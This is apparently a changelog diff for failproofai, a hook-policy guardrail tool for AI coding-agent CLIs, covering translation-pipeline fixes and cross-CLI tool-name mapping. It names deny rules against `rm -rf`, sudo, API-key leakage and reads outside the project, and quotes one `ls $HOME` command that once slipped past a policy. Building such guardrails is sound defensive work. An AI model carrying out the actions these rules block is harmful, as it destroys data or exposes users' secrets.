- `scripts/translate-docs/mdx-translator.ts`: new `stripStrayTrailingFence` helper, wired into both `translateMdxPage` and `translateReadme`, drops a stray trailing ` ``` ` line that streamed Sonnet runs of long pages sometimes append. The unmatched fence opens a code block that consumes everything to EOF — including the wrapping ` ` for RTL READMEs — and surfaces in Mintlify as `Failed to parse page content at path i18n/README.he.md: Expected a closing tag for (6:1-6:16)`. Empirically observed on run 25542951106 (post-streaming-switch #307): `docs/i18n/README.he.md` and `docs/i18n/README.tr.md` both ended with 31 fence-line markers (one stray) instead of the canonical 30; a subsequent rebase against main found `docs/i18n/README.ar.md` regenerated by the auto-translate workflow (#312) with the same bug. The helper detects the odd-count case and removes only the last unmatched fence, preserving every balanced pair before it. Also strips the stray trailing fence from all three affected files in this commit so Mintlify can deploy without a re-translate. Six-case unit test covers balanced-unchanged, no-fence-unchanged, stray-trailing-after-balanced-pair, lone-fence, embedded-non-fence-mid-line, and language-tagged pairs (#313).
+
- `scripts/translate-docs/translator.ts`: switch `translateContent` from `anthropic.messages.create(...)` to `anthropic.messages.stream(...).finalMessage()` so large Tier-1 (Sonnet) translations don't hit AWS Bedrock's 300 s synchronous `InvokeModel` ceiling. The LiteLLM proxy at `models.aikin.club` routes `claude-sonnet-4-6` weighted 1:1 across `anthropic/claude-sonnet-4-6` and `bedrock/us.anthropic.claude-sonnet-4-6`; under translate-docs load (4 jobs × 4 in-flight = 16 concurrent) any request that lands on Bedrock and runs >300 s is severed by Bedrock and surfaces to the SDK as `APIConnectionError ("Connection error.")` — exactly the symptom that survived #306 (SDK retry bump) and the platform-side `request_timeout: 300 → 600` lift in `exospherehost/platform#345`. Two consecutive matrix runs post-platform-fix ([25540656053](https://github.com/exospherehost/failproofai/actions/runs/25540656053), [25541614351](https://github.com/exospherehost/failproofai/actions/runs/25541614351)) showed the same deterministic failure cohort: the 4 largest pages (`built-in-policies`, `architecture`, `configuration`, `custom-policies`, plus `README`) failing at ~317 s for in-flight slot 1/2 and ~367 s for slots 3/4 — both below the new 600 s ceiling, so the wall isn't ours. `messages.stream(...).finalMessage()` returns the same `Message` shape so the function's public return type is unchanged; Bedrock falls back to `InvokeModelWithResponseStream` (no 300 s wall) and Anthropic-direct supports streaming for the full 10-minute non-streaming budget. SDK `maxRetries: 5`, per-job `MAX_CONCURRENT: 4`, and the platform `request_timeout: 600 s` ceiling all stay as the correct safety bounds; the actual unblock was on the client-side request shape (#307).
+
- `scripts/translate-docs`: bump SDK `maxRetries` from the Anthropic default of 2 to 5 in `translator.ts:getClient` and raise per-job `MAX_CONCURRENT` from 2 to 4 in `cli.ts`, both now env-overridable via `TRANSLATE_MAX_RETRIES` and `TRANSLATE_MAX_CONCURRENT`. The LiteLLM proxy behind `ANTHROPIC_BASE_URL` has been horizontally scaled, so the previous cap of 2 (set in #300 to dodge the gateway's connection-drop cliff at ~2 in flight) now leaves capacity on the floor. The errors that *do* still surface are no longer load-induced — they are per-request transient failures (cold replicas, LB hashing landing on an unhealthy pod, idle-socket TCP resets) where the SDK's default 2-retry budget runs out before the LB can route a retry to a healthy replica, and `Anthropic.APIConnectionError ("Connection error.")` bubbles up. Empirically observed: a `--languages zh --force` re-run (Tier-1 Sonnet, 5 uncached MDX pages) returned 2 successes and 2 `Connection error.` lines under the prior 2/2 setting. Bumping to 5 retries (≈0.5+1+2+4+8 ≈ 15 s of jittered backoff per request, 6 connection attempts total per page) absorbs the transient failures; bumping concurrency to 4 takes back the throughput the prior cap forfeited. CI matrix `max-parallel: 4` is unchanged — the new global ceiling of 4×4 = 16 in flight is still half the failure-mode threshold of 28 from #305 even before accounting for the scale-out, so no workflow change needed (#306).
+
- `.github/workflows/translate-docs.yml`: cap the `translate` matrix at `max-parallel: 4` so the 14-language fan-out can't burst past the LiteLLM proxy's connection-drop knee point. The previous `MAX_CONCURRENT = 2` cap in `scripts/translate-docs/cli.ts` (#300) limited per-job concurrency but not cross-job, so under push-to-main the proxy at `ANTHROPIC_BASE_URL` saw up to 14 jobs × 2 = 28 simultaneous requests and returned `APIConnectionError ("Connection error.")` on most of them — surfaced as a workflow-wide failure on run 25532970192 where all 14 matrix jobs errored. With the cap set to 4, the proxy sees at most 8 in-flight; wall-clock cost is bounded since each job is 4–9 minutes and 14 langs in batches of 4 still completes well inside the workflow's existing footprint. Tier-1 (Sonnet, 7 langs sharing one upstream model_name) is the cohort that hit the cliff hardest; Tier-2/3 (Haiku) had headroom and only the single largest doc page consistently errored (#305).
## 0.0.10-beta.5 — 2026-05-08
@@ -876,6 +1335,7 @@ never "blocked".
### Fixes
- Activity dashboard: populate the `CWD:` field for Cursor Agent CLI session-lifecycle and prompt events. Per https://cursor.com/docs/hooks, only Cursor's tool-execution hooks (`preToolUse`, `postToolUse`) include top-level `cwd`; `sessionStart`, `sessionEnd`, `beforeSubmitPrompt`, and `stop` carry `workspace_roots: string[]` instead and omit `cwd` entirely. The hook handler at `src/hooks/handler.ts:167` previously extracted cwd generically with `parsed.cwd as string | undefined`, so non-tool Cursor events landed in the activity store with `cwd: undefined`, the dashboard rendered an em-dash, and (more importantly) project-scope policy discovery in `readMergedHooksConfig(session.cwd)` and `loadAllCustomHooks({ sessionCwd })` silently fell back to global-only — meaning per-project failproofai policies stopped firing on those Cursor events. New `src/hooks/resolve-cwd.ts` mirrors the existing `resolve-permission-mode.ts` / `resolve-transcript-path.ts` dispatch pattern: trust `parsed.cwd` from stdin first, then for Cursor specifically fall back to `workspace_roots[0]`. Other CLIs pass through unchanged. New `__tests__/hooks/resolve-cwd.test.ts` is a 16-case matrix: stdin passthrough across all 7 CLIs, Cursor-only `workspace_roots` fallback, edge cases (empty array, empty first element, non-string entries, non-array `workspace_roots`), runtime type guards, and stdin precedence over fallback. Cursor e2e fixtures in `__tests__/e2e/helpers/payloads.ts` updated to match the real per-event shape (tool events keep `cwd`; `beforeSubmitPrompt`, `sessionStart`, `sessionEnd`, `stop` use only `workspace_roots`). New e2e regressions in `cursor-integration.e2e.test.ts` confirm `last.cwd` is populated for both tool events (passthrough) and `sessionStart` / `beforeSubmitPrompt` (workspace_roots fallback) (#303).
+
- `scripts/translate-docs`: switch the Tier 2/3 default from the dated snapshot ID `claude-haiku-4-5-20251001` to the alias `claude-haiku-4-5` (so model access matches the CI key's scope), and lower `MAX_CONCURRENT` from 10 to 2 to stop the gateway behind `ANTHROPIC_BASE_URL` from dropping most parallel requests with `Connection error`. Empirically observed: at concurrency 10, a 6-request Korean batch returned 2 ok + 4 connection-resets; per-language CI matrix already parallelizes across the 14 languages, so the lower per-language limit doesn't meaningfully extend wall-clock time (#300).
### Docs
@@ -893,19 +1353,25 @@ never "blocked".
### Fixes
- `block-work-on-main` deny message named the wrong git subcommand for chained commands. The policy correctly trips on the `commit`/`merge`/`rebase`/`cherry-pick` part of a chained `git checkout -b feat/x && git commit -m "y"`, but the deny-message formatter ran a second, looser `/git\s+(\S+)/` regex that captured the *first* git subcommand in the string — `checkout` — producing the misleading "Git checkout on main is blocked. Create a feature branch first." log line. Reusers reasonably read this as "the policy blocks branch creation from main", which it does not. The fix changes the existing `GIT_COMMIT_MERGE_RE` capture group from non-capturing to capturing and reuses `match[1]` in the deny message, so the rendered subcommand is always the actual offender. Also corrects `docs/built-in-policies.mdx`, which described the policy as denying `git checkout` on main and listed `protectedBranches` as "branch names that cannot be checked out directly" — both wrong, and reinforced the same misconception. New regression tests cover the chained `checkout && commit` case (must name `commit`, must not name `checkout`) and lock in the user-visible guarantee that standalone `git checkout -b new-branch` on main is allowed (#296).
+
- Activity dashboard: populate the `Transcript:` field across every harness, not just Claude. Only Claude's hook stdin reliably carries `transcript_path`; Codex/Copilot/Cursor don't include one, the OpenCode and Pi shims don't forward one, and Gemini's coverage is uneven across versions, so before this fix the `/policies` activity detail panel rendered `Transcript: —` for nearly every non-Claude row even though every harness *except* OpenCode has the transcript on disk and the repo already shipped per-CLI `find*Transcript(sessionId)` helpers (`lib/codex-sessions.ts`, `lib/copilot-sessions.ts`, `lib/cursor-sessions.ts`, `lib/pi-sessions.ts`, `lib/gemini-sessions.ts`). New `src/hooks/resolve-transcript-path.ts` mirrors the existing `resolve-permission-mode.ts` dispatch pattern: trust `parsed.transcript_path` from stdin first, then fall back to the per-CLI helper when sessionId is known. OpenCode (transcripts in `~/.local/share/opencode/opencode.db`, no on-disk file) gets a synthetic `opencode-db://
` marker so the field is non-empty, distinguishable from a genuine miss, and parseable by tooling — both detail panels (`app/components/session-hooks-panel.tsx`, `app/policies/hooks-client.tsx`) render an extra muted "(stored in opencode DB)" suffix when the value carries that scheme. The handler-side fallback covers OpenCode and Pi without touching their shims (no duplicated disk-walk; the Pi shim already discovers session IDs from disk for related reasons in `pi-extension/index.ts:discoverPiSessionId`). New `__tests__/hooks/resolve-transcript-path.test.ts` is a 23-case matrix: stdin-passthrough for all 7 CLIs, missing-sessionId returns undefined for all 7, per-CLI fallback dispatch, and stdin-precedence-beats-fallback (#296).
+
- Extend per-CLI tool-name canonicalization across the four CLIs PR #293 left incomplete: Copilot's `view` (used for both file reads and directory listings — empirically confirmed against Copilot CLI 1.0.39 with `{"toolName":"view","arguments":{"path":"/some/dir"}}`), Cursor's `Shell` (Cursor's name for what Claude calls `Bash`; PR #293 left Cursor as passthrough), Codex's `apply_patch` and `write_stdin` (Codex was passthrough), plus OpenCode's `apply_patch` and `websearch`. User-reported regression: under Copilot CLI, listing `$HOME` via `view` ran successfully despite an enabled `block-read-outside-cwd` policy (the same `ls -la` flow PR #293 already fixed for Bash). Adds `CURSOR_TOOL_MAP` and `CODEX_TOOL_MAP` (handler-side; mirror `COPILOT_TOOL_MAP` / `GEMINI_TOOL_MAP`) and extends `COPILOT_TOOL_MAP` with the full Copilot CLI tool surface — `view`/`show_file` → `Read`, `create` → `Write`, `apply_patch` → `Edit`, `web_fetch` → `WebFetch`, `powershell` and the eight `*_bash` / `*_powershell` session-management tools → `Bash`, `rg` → `Grep`. New e2e regression test in `__tests__/e2e/hooks/copilot-integration.e2e.test.ts` pins the `view` fix; new unit-test blocks in `__tests__/hooks/handler.test.ts` cover every Cursor and Codex map entry plus passthrough for unmapped tools (#295).
## 0.0.10-beta.2 — 2026-05-05
### Fixes
- Canonicalize tool names across all agent CLIs so builtin Bash/Read/Write/Edit policies fire under Copilot, OpenCode, and Pi (verified for Codex/Cursor/Gemini). Builtin policies match tool names in PascalCase (`["Bash"]`, `["Read","Glob","Grep","Bash"]`, …) via case-sensitive `Array.includes`, but Copilot's tool registry emits lowercase IDs (`bash`, `read`, …) and OpenCode's plugin SDK exposes the same. Without canonicalization every Bash/Read/Write/Edit builtin silently no-ops under those CLIs. Adds `COPILOT_TOOL_MAP` (handler-side) and `OPENCODE_TOOL_MAP` / `PI_TOOL_MAP` (shim-side, embedded inline in the self-contained plugin shims). User-reported regression: under Copilot CLI, `ls -la --almost-all $HOME | sed -n '1,200p'` ran successfully despite an enabled `block-read-outside-cwd` policy. Also fixes the Pi shim's naive `charAt(0).toUpperCase()` heuristic which only worked for single-word tool IDs (`bash` → `Bash`) but would have mis-canonicalized future multi-word tools (`todo_write` → `Todo_write`, not `TodoWrite`). E2e fixture for Copilot now uses the real lowercase shape so the suite catches future regressions in this layer (#293).
+
- Session log viewer: stop rendering log entries at the wrong y-offset (which exposed the page background and looked like the page "going blue" while scrolling). `app/components/raw-log-viewer.tsx` was capturing the virtualizer's `scrollMargin` once via a callback ref on the list wrapper's `offsetTop`. That ref fires only on mount, so any layout shift above the list — most commonly the async `searchHookActivityAction` resolving and mounting the `` panel above the Logs section, but also Subagents-section / per-subagent collapse-expand, and window resizes that re-flow the StatsBar / ToolStatsGrid — left `scrollMargin` stale. The `useWindowVirtualizer` then computed the wrong visible window in list-local coordinates and positioned each item at `transform: translateY(virtualRow.start - staleScrollMargin)`, so items appeared shifted by the layout-delta (typically tens to hundreds of pixels). Replace the callback ref with a stable `useRef` and a `useLayoutEffect` that reads `getBoundingClientRect().top + window.scrollY` (more robust than `offsetTop` against future positioned ancestors) and re-reads it from a `ResizeObserver` watching `document.body` plus a `window` resize listener. Functional `setScrollMargin(prev => prev === top ? prev : top)` short-circuits same-value updates so the body-resize that the state-update itself causes can't loop. (#292)
### Dependencies
- Bump `@anthropic-ai/sdk` 0.91.1 → 0.93.0 (#287)
+
- Bump `eslint` 10.2.1 → 10.3.0 (#288)
+
- Bump `posthog-node` 5.30.6 → 5.33.2 (#289)
+
- Bump `lucide-react` 1.11.0 → 1.14.0 (#290)
## 0.0.10-beta.1 — 2026-05-04
@@ -917,44 +1383,69 @@ never "blocked".
### Features
- Add Gemini CLI integration (beta) across hooks, activity dashboard, session viewer, and `/projects` listing. `--cli gemini` writes Claude-shape hook entries into `~/.gemini/settings.json` (user) or `/.gemini/settings.json` (project) using Gemini's `{matcher, hooks: [{type, command, timeout}]}` matcher-wrapper schema. Subscribes to all 11 documented events (SessionStart, SessionEnd, BeforeAgent, AfterAgent, BeforeModel, AfterModel, BeforeToolSelection, BeforeTool, AfterTool, PreCompress, Notification); BeforeModel / AfterModel / BeforeToolSelection lack a Claude canonical equivalent so no policies match on them today, but the binary still records activity for those events so future policies can opt in. The handler canonicalizes Gemini's snake_case tool names (`run_shell_command`, `read_file`, `read_many_files`, `write_file`, `replace`, `glob`, `grep_search`, `list_directory`, `web_fetch`, `google_web_search`, `write_todos`, `save_memory`, `ask_user`) to Claude PascalCase (`Bash`, `Read`, `Write`, `Edit`, `Glob`, `Grep`, `LS`, `WebFetch`, `WebSearch`, `TodoWrite`, `Memory`, `AskUser`) via `GEMINI_TOOL_MAP` so existing builtin policies (block-sudo, block-rm-rf, sanitize-api-keys, …) fire unchanged on Gemini sessions. MCP tool names (`mcp__` pattern) and Skills tool names pass through unchanged. The policy evaluator emits Gemini's flat `{decision: "deny", reason}` deny shape (preferred per Gemini's "Golden Rule" exit-0 contract), `{hookSpecificOutput: {hookEventName, additionalContext}}` for context injection on BeforeAgent / AfterTool / SessionStart, and `{decision: "block", reason}` on AfterAgent for force-retry semantics matching Claude's exit-2-from-Stop "do this before stopping" pattern. Path-protection (`isAgentInternalPath` + `isAgentSettingsFile`) covers `~/.gemini/` and `.gemini/settings.json`. Frontend: `lib/cli-registry.ts` adds a `Gemini CLI` entry with a sky-blue badge; `lib/projects.ts` merges Gemini projects into `/projects`; `app/project/[name]` and `/session/[id]` extend the external-CLI fallback chain. Also ships this repo's own `.gemini/settings.json` so contributors using `gemini` get hooks active automatically — uses `$GEMINI_PROJECT_DIR` for resolver stability (Gemini also sets `$CLAUDE_PROJECT_DIR` as a back-compat alias). Verified against gemini-cli v0.40.1 (#277).
+
- Add OpenCode (sst/opencode) integration (beta) across hooks, activity dashboard, session viewer, and `/projects` listing. `--cli opencode` writes a generated plugin shim at `.opencode/plugins/failproofai.mjs` plus a registration entry in `opencode.json`'s `plugin: []` array; SQLite-backed dashboard adapters read OpenCode's session store via `opencode db --format json`. Verified against opencode v1.14.33 (#270).
+
- Add Pi (`@mariozechner/pi-coding-agent`) integration (beta) across hooks, activity dashboard, session viewer, and `/projects` listing. `--cli pi` writes a `packages` entry into `.pi/settings.json` pointing at failproofai's bundled `pi-extension/`. Subscribes to all 7 Pi events (`tool_call`/`user_bash`/`input`/`session_start`/`tool_result`/`agent_end`/`session_shutdown`); the latter three are observation-only on Pi (no veto capability) but still activate the 5 PostToolUse and 5 `require-*-before-stop` builtins for visibility. Verified against pi-coding-agent v0.72.1 (#270).
+
- Add GitHub Copilot CLI integration (beta) across hooks, activity dashboard, session fallback, and `/projects` listing. Also ships this repo's own `.github/hooks/failproofai.json` so contributors developing failproofai with the GitHub Copilot CLI get hooks active automatically, mirroring the existing `.claude/settings.json` and `.codex/hooks.json` (#236)
+
- Add Cursor Agent CLI integration (beta) across hooks, activity dashboard, session viewer, and `/projects` listing. New `--cli cursor` flag installs into `~/.cursor/hooks.json` (user) or `/.cursor/hooks.json` (project) using Cursor's flat-array schema with camelCase event keys (`preToolUse`, `beforeSubmitPrompt`, …); the handler canonicalizes to PascalCase via `CURSOR_EVENT_MAP` so existing builtin policies fire unchanged. The policy evaluator emits Cursor's `{permission, user_message, agent_message, additional_context, followup_message}` stdout shape. Path-protection (`isAgentInternalPath` + `isAgentSettingsFile`) covers `~/.cursor/` and `.cursor/hooks.json`. Frontend: `lib/cli-registry.ts` adds a `Cursor Agent` entry with an emerald badge; `lib/projects.ts` merges Cursor projects into `/projects`; `app/project/[name]` and `/session/[id]` extend the external-CLI fallback chain. Also ships this repo's own `.cursor/hooks.json` so contributors using Cursor get hooks active automatically (#245).
+
- Project page (`/project/[name]`): list Copilot and Cursor sessions alongside Claude + Codex, mirroring the existing merge logic on the projects index. Previously the project detail view only enumerated Claude + Codex transcripts (#245).
### Fixes
- Project-local: add `.failproofai/policies/block-version-bumps.mjs` so feature PRs can't bump `package.json`'s `version` field — only release-cut branches (`luv-cut-X.Y.Z`) may. Prevents the drift root-caused in PR #270 where two parallel feature branches each speculatively bumped, stacking 0.0.10-beta.1 → 0.0.10-beta.2 → 0.0.11-beta.1 → 0.0.12-beta.1 → 0.0.13-beta.1, and the over-correction in PR #284 that landed package.json at 0.0.9-beta.3 (older than the published 0.0.9). Blocks `Edit`/`Write` to `package.json` that touches the version field, plus Bash `npm|yarn|pnpm|bun (pm) version` and `sed|awk|jq` mutations of `package.json` mentioning `version` (#285).
+
- Pi integration: surface `sessionId` on activity records by discovering it from Pi's on-disk transcript filename. Pi (verified empirically against pi-coding-agent v0.71.1) does NOT populate `event.sessionId` on any of its events — `session_start`, `tool_call`, `user_bash`, `input`, `tool_result`, `agent_end`, `session_shutdown` all leave it undefined. The shim now scans `~/.pi/agent/sessions/----/` for the most-recent `_.jsonl` file (filtering to files whose mtime ≥ process start so a stale transcript from a prior session in the same cwd can't pin a wrong UUID at cold start) and extracts the sessionId from the filename, then caches it per cwd for subsequent events in the same Pi process and clears the entry on `session_shutdown` reasons `new`/`resume`/`fork` so cross-session misattribution can't happen. With this fix, `PreToolUse` / `PostToolUse` / `Stop` / `SessionEnd` records now carry the sessionId so dashboard rows can deep-link to the session viewer. `SessionStart` and `UserPromptSubmit` remain unsessioned because Pi flushes the transcript file lazily, after those events fire — that's a Pi behavior we can't change client-side. Pi's encoding strips the leading `/` before replacing remaining slashes with `-`, so `/home/u/repo` → `--home-u-repo--` (NOT `---home-u-repo--`). New unit test (`__tests__/hooks/pi-extension-shim.test.ts`) covers happy path, multi-file mtime tie-breaker, missing-cwd fallback, resolution from every event type, and the per-cwd cache reset on session_shutdown (#284).
+
- Cursor integration: surface sessions stored under cursor-agent's current on-disk layout. As of cursor-agent 2026-04+, transcripts live at `~/.cursor/projects//agent-transcripts//.jsonl` (with the JSONL records using the OpenAI-shape `{role, message: {content: [{type, text}]}}` rather than the legacy `{type, data, timestamp}` form). `lib/cursor-projects.ts` and `lib/cursor-sessions.ts` previously only probed the legacy `~/.cursor/{agent-sessions,conversations,sessions}/` paths so every recent Cursor session 404'd from the dashboard. Both modules now scan the new layout first (and decode the cwd from the encoded project-dir name, prepending `/` since Cursor's encoding drops the leading slash), then fall back to the legacy candidates for older installs. The transcript parser learned a branch for the new shape — strips the synthesized `… … ` wrapper Cursor adds to user messages, preserves assistant text blocks, and synthesizes per-record sort timestamps since the new format omits them. Verified live on cursor-agent v2026.04.29 against a real session that the dashboard had been falsely tagging as "Claude Code" with "Session log file not found". `lib/gemini-projects.ts` now uses `encodeFolderName(cwd)` for `ProjectFolder.name` so cross-CLI merge in `mergeProjectFolders` unions on the same key and Gemini-only project links resolve through `getGeminiSessionsByEncodedName`. `policy-evaluator.ts` preserves the raw CLI `--hook` arg via a new `SessionMetadata.rawHookEventName` field captured in `handler.ts` before canonicalization, so Gemini's `hookSpecificOutput.hookEventName` round-trips correctly even when stdin omits `hook_event_name`; deny-message construction now branches on event type so non-tool events (UserPromptSubmit / SessionStart / SessionEnd / Stop) emit "Blocked prompt|session start|…" instead of the misleading "Blocked unknown tool". `lib/gemini-sessions.ts` loosens `SESSION_FILE_RE` to accept any timestamp shape (Gemini docs include seconds; the load-bearing safety check is the first-line `sessionId` validation) and replaces the whole-file `readFileSync` in `findGeminiTranscript` with a bounded 4 KB `readFirstLineSync` helper so large transcripts no longer blow memory just to inspect the metadata header. `__tests__/lib/projects.test.ts` adds three Gemini aggregation tests (Gemini-only inclusion, cross-CLI merge by encoded slug, reject-fallback) mirroring the existing Pi / Cursor / OpenCode patterns (#277).
+
- `block-read-outside-cwd`: deny message now says "Reading agent settings file blocked" instead of "Reading Claude settings file blocked" — the policy has covered all 6 CLIs' settings files since #270 / #245 / #220 but the deny string was stale (#270).
+
- `require-ci-green-before-stop`: stop reporting historical CI failures as still-failing after a fix commit lands. The policy now filters `gh run list` results to runs whose `headSha` matches the current local HEAD, and deduplicates by workflow name so GitHub's "Re-run all jobs" doesn't resurface old failed run records. Also bumps the gh-run-list `--limit` from 5 to 20 to avoid truncating the latest run on busy branches with many workflows or recent pushes. Third-party checks (CodeRabbit, SonarCloud, …) and commit statuses already query by SHA and are unchanged. Resolves a wedge where a green PR could not satisfy the Stop policy because an earlier failed run on the same branch was still in the top-5 window. (#266)
+
- `failproofai policies --uninstall` interactive CLI selector now says "Remove Hooks" / "Choose where to remove from:" instead of "Install Hooks" / "Choose where to install:" (#236)
+
- README: replace the GitHub Copilot logo with the current canonical mark and add a dark-mode variant (`copilot-light.svg` + `copilot-dark.svg` via ``); the previous SVG used outdated path data with a hard-coded black fill that rendered invisibly on GitHub's dark theme (#236)
+
- README: replace the broken Cursor Agent logo (`cursor-light.svg` + `cursor-dark.svg`) with the official 2.5D cube mark from Cursor's brand kit. The previous path was malformed (extended past the 24×24 viewBox to x=24.5 and traced an unrecognizable arrow shape); the first replacement attempt used a flat hexagonal outline from simple-icons that rendered as a single-color silhouette without the characteristic shaded faces and inset cursor (#257)
+
- Auto-translated MDX: stop the recurring `mintlify validate` parse error in `docs/de/dashboard.mdx` (``) by adding a `sanitizeJsxAttributes` post-processor to the translation pipeline that strips stray ASCII `"` left after typographic-quote pairs (and any unmatched opening typographic quote) in JSX attribute values, and by tightening the translator system prompt to forbid ASCII `"` inside attribute values. Same regression PR #229 fixed by hand — now it can't recur. Includes the immediate file fix on `docs/de/dashboard.mdx`. (#247)
### Docs
- README: drop the "+ more coming soon" line under the supported-CLIs logo strip; the row of seven logos is the visual itself, the trailing tagline reads as filler (#280).
+
- README: add Gemini CLI to the supported-CLIs intro line and visual list, with light/dark logo variants (`assets/logos/gemini-light.svg` + `gemini-dark.svg`). Restructure the logo block into two centred `` rows (Claude/Codex/Copilot/Cursor on the first, OpenCode/Pi/Gemini on the second) plus a separate "+ more coming soon" line so the seventh logo doesn't crowd the layout. Update the beta callout to include Gemini CLI alongside Copilot, Cursor, OpenCode, and Pi (#277).
+
- README: add Pi to the supported-CLIs intro line and visual list, with light/dark logo variants (`assets/logos/pi-light.svg` + `pi-dark.svg`); update beta callout to include Pi alongside Copilot and Cursor (#264).
+
- README: add Cursor Agent to the supported-CLIs intro line and visual list, with light/dark logo variants (`assets/logos/cursor-light.svg` + `cursor-dark.svg`). Note that GitHub Copilot CLI testing is ongoing in the beta callout (#245).
## 0.0.9 — 2026-04-28
### Features
- Surface the Slack community invite alongside the existing GitHub and docs links: add a `💬 Slack` line to the CLI `--help` banner (`bin/failproofai.mjs`) and the `dev` / `start` launch banner (`scripts/launch.ts`), plus a `Join our Slack` entry in the in-app `Reach Us` dropdown (`components/reach-developers.tsx`). Uses the existing `https://join.slack.com/t/failproofai/...` invite already linked from the README and docs sidebar (#225).
+
- Activity dashboard now has a CLI filter alongside event-type, policy, and session-id filters; URL is preserved as `?cli=claude|codex`. Codex sessions in the activity feed are also clickable: the session route now falls back to `~/.codex/sessions/<…>.jsonl` when the Claude lookup misses, and the existing log viewer renders Codex transcripts (user prompts, assistant messages, exec_command tool calls with stdout/stderr and durations) by mapping every record type. Transcript discovery (`findCodexTranscript`) lives in a shared `lib/codex-sessions.ts` module reused by the hook hot path (#226).
+
- Add OpenAI Codex hook integration. Install hooks for Codex via `failproofai policies --install --cli codex` (or `--cli claude codex` for both). Supports all six documented Codex hook events (`SessionStart`, `PreToolUse`, `PermissionRequest`, `PostToolUse`, `UserPromptSubmit`, `Stop`) and writes to `~/.codex/hooks.json` (user) / `/.codex/hooks.json` (project). Codex's `PermissionRequest` is wired through `policy-evaluator.ts` to emit the `hookSpecificOutput.decision.behavior` shape per Codex docs; `block-sudo` now also fires for `PermissionRequest` events. Stdin event names arrive snake_case (`pre_tool_use`) and are canonicalized to PascalCase before policy lookup. Permission-mode tracking for Codex reads `approval_policy` from the active session transcript (`~/.codex/sessions/<…>.jsonl`). New `--cli` flag is interactive by default — detects installed agent CLIs and prompts when both are present. Telemetry now tags every hook decision with the originating CLI; activity dashboard rows show a per-CLI badge. `isAgentInternalPath` / `isAgentSettingsFile` generalized to also cover `~/.codex/` and `.codex/hooks.json` so existing path-protection rules apply to Codex out of the box (#220).
+
- Show OpenAI Codex projects on the `/projects` page alongside Claude Code projects. Codex stores transcripts under `~/.codex/sessions////*.jsonl` keyed by date, so we scan each transcript's `session_meta` record for its `cwd` and surface one row per unique cwd. A CLI badge ("Claude Code" / "OpenAI Codex") appears beside each agent root; cwds that exist in both stores render as a single row with both badges. The `/project/[name]` detail page now lists Codex sessions for the project (recovering the canonical cwd from the transcript, since `decodeFolderName` is lossy when paths contain `-`) and tags each session row with its originating CLI; session click-through reuses the existing Codex-aware viewer, which now also renders the CLI badge beside the Session Log header (#232).
### Fixes
- Add a trailing blank line after the `Enabled N policy(ies): …` summary printed by `failproofai policies --install`. With 39+ enabled policies the line wraps to several rows of comma-separated names and previously ran straight into the `Failproof AI hooks installed for …` confirmations, making the install output hard to scan (#224).
+
- Replace the `[B]oth / [C]laude / [D]codex` text prompt that fires when both agent CLIs are detected during `failproofai policies --install` with an interactive arrow-key single-select. Visual style mirrors the existing policy selector (cursor pointer, dim/bold rows, footer hint line); options are `Both`, `Claude Code only`, `OpenAI Codex only`. Non-TTY behaviour is unchanged (defaults to all detected CLIs) (#223).
+
- Switch this repo's own `.claude/settings.json` hook commands from a relative `bun ./bin/failproofai.mjs --hook ...` to `bun $CLAUDE_PROJECT_DIR/bin/failproofai.mjs --hook ...`. Claude Code spawns hooks with the live session CWD, which drifts whenever the agent `cd`s into a subdirectory, so the relative form failed with `Module not found "./bin/failproofai.mjs"` after any `cd subdir && …` Bash call. Mirrors the stable-root pattern already used by `block-read-outside-cwd` (`src/hooks/builtin-policies.ts`).
+
- Fix `mintlify validate` failing on `docs/ar/built-in-policies.mdx` by re-wrapping `origin/` in backticks. The Arabic translation dropped the surrounding inline-code markers in one paragraph, so MDX parsed `` as an unclosed JSX tag and the docs CI job errored out.
+
- Fix `mintlify validate` parse error in `docs/de/dashboard.mdx` caused by inner quotes inside `` attributes (#229).
+
- Fix `block-read-outside-cwd` falsely denying Bash commands with unquoted glob patterns or `-v host:/path` argv tokens (#230).
+
- Move `formatDate` into `lib/format-date.ts` so the hook handler no longer pulls `clsx`/`tailwind-merge` via `lib/utils.ts` (#231).
### Docs
@@ -972,23 +1463,30 @@ never "blocked".
### Fixes
- Skip `require-no-conflicts-before-stop` entirely when no OPEN PR exists for the current branch (or when `gh` CLI is unavailable to check). The policy no longer runs Layer 1's local `git merge-tree` probe in those cases — without a confirmable merge target there is nothing to enforce (#198).
+
- Resolve project policy config (`.failproofai/`) by walking up from the live CWD to find the nearest project root, instead of looking only at the exact session cwd. Stop-gating policies (`require-pr-before-stop`, `block-read-outside-cwd`, etc.) no longer silently disable when Claude `cd`s into a subdirectory. Also covers `customPoliciesPath` and project convention discovery in `custom-hooks-loader.ts` (#200).
## 0.0.6 — 2026-04-27
### Features
- Add cloud platform client: `login`, `logout`, `whoami`, `relay start|stop|status`, and `sync` subcommands. Hook events are appended to a local queue and streamed to the failproofai cloud server via a background relay daemon that lazy-starts from the hook handler and survives reboots (#132)
+
- Add `require-no-conflicts-before-stop` builtin workflow policy that denies Stop until the current branch merges cleanly with the base branch. Runs a local `git merge-tree` probe (names the conflicted files) and an optional `gh pr view --json mergeable` probe that catches conflicts a stale local `origin/ ` would miss (#176)
+
- Add policy namespace support. Built-in policies now live under the `exospherehost/` namespace; flat names in user configs (e.g. `"sanitize-jwt"`) auto-resolve to the default namespace, so existing configs keep working unchanged. Custom and third-party policies can declare their own namespace (e.g. `myorg/foo`) without colliding with builtins (#196)
### Docs
- Add demo GIF to README (#178)
+
- Document the policy namespace concept and update built-in policy count from 30 to 32 (#196)
### Fixes
- Fix `require-no-conflicts-before-stop` falsely denying when the PR is already merged or closed: GitHub returns `mergeable=UNKNOWN` for non-OPEN PRs, which the policy was treating as "still computing → wait and retry". The policy now requests `state` and short-circuits to allow when the PR is not OPEN (#196)
+
- Stop stderr leakage from workflow policies (`require-push-before-stop`, `require-pr-before-stop`, `require-ci-green-before-stop`, etc.): git probes that are expected to sometimes fail no longer leak "fatal: Needed a single revision" or similar messages to the user's terminal (#132)
+
- `block-read-outside-cwd` now uses `CLAUDE_PROJECT_DIR` (the stable project root) instead of the live hook `cwd`, which drifts when Claude `cd`s into a subdirectory. Reads at the project root are no longer wrongly denied after a `cd`. Falls back to `ctx.session.cwd` when that variable is unset (#134)
+
- Shrink the npm package by excluding sharp from the Next.js standalone build (unused — image optimization is disabled) and stripping docs, tests, and sourcemaps from the bundled `node_modules`. Tarball drops from ~20 MB to under a few MB (#136)
## 0.0.6-beta.2 — 2026-04-21
@@ -1019,6 +1517,7 @@ never "blocked".
### Fixes
- Strengthen Stop-event deny/instruct instructions with mandatory framing so agents execute required actions instead of asking for confirmation (#109)
+
